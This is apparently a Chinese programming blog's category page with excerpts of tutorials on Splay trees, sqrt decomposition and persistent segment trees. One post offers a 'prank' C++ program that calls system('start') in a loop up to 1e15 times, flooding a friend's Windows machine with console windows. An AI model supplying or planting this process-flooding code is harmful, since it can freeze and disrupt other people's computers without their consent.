教学
文章平均质量分 95
各种知识点或其他东西的总结或详解
冷笑叹秋萧
蒟蒻
展开
-
Splay入门详解
Splay入门详解写在前面听说平衡树是一种强大的数据结构,听同年级或高年级大佬们讲起来也感觉很牛笔的亚子,而最近XC又叫我们去学习一下LCT!?又因为Splay是学习LCT的基础,而且又比较脍炙人口,于是我便学了一下,经过一个白天的努力,也终于是学会了一点皮毛。为了加深我对Splay的理解,把网上一些讲得有点模糊的知识点给没看懂的同学讲解清楚,于是我就写了这篇博客,保证大家都可以入门 (不行也别怪我哦)Splay是神马东东?下面给出百度的解释:Splay下面我用简单易懂的语言来简单介绍一下:原创 2021-01-22 20:37:51 · 832 阅读 · 0 评论 -
浅谈美妙的暴力——分块
分块——美妙的暴力前言:最近发现模拟赛的难度突然增大,需要用到的知识点变得很多很多(2-SAT、主席树、树链剖分,甚至还有LCT……),于是我想着来学学知识点,因为有备无患嘛然后想到了若干年前有要用分块的题目听了大佬讲完之后糊里糊涂,又听别人说其实挺容易的,于是我便上OI-WIKI学了一下,发现思想真的很简单,代码也没有什么细节,简单简洁暴力,复杂度也可以接受(当然比起带log的算法还是差一点)博客写的一般大佬勿喷……分块是神马东东?顾名思义,就是将一个区间分成很多块的意思,之后再分别对每个块进原创 2021-01-14 07:46:05 · 152 阅读 · 0 评论 -
c++损友代码
在你的朋友的c++中输入以下代码,可以给他一个very good的惊喜!!!(不过要小心他跟你绝交了……)整人的CODE#include<windows.h>using namespace std;int main(){ long long i; for (i=1;i<=1e15;i++)//如果你想试一试的话这个1e15可以先改小一点 system("start"); return 0;}...原创 2020-07-31 07:46:46 · 675 阅读 · 2 评论 -
浅谈主席树(可持久化线段树)
主席树(可持久化线段树)前言:建议先掌握线段树再来学习此知识点这几天在中山纪中训练时有做到可持久化字典树的题,听别人说可持久化数据结构的思路都是差不多的,于是我便先上网学了学我看起来认为最简单的可持久化线段树(主席树),学了两个晚上终于学会了一点皮毛 (~ ̄▽ ̄)~,于是我便来总结一下理理思路博客可能写的一般大佬勿喷……名字分析:顾名思义,可持久化的就是可以记录历史版本的意思,通过主席树,我们可以查询到单个节点或一段区间历史的信息,或者对于某个历史版本进行单点修改产生新的版本。(如果想进行区间修原创 2020-08-11 07:28:10 · 311 阅读 · 2 评论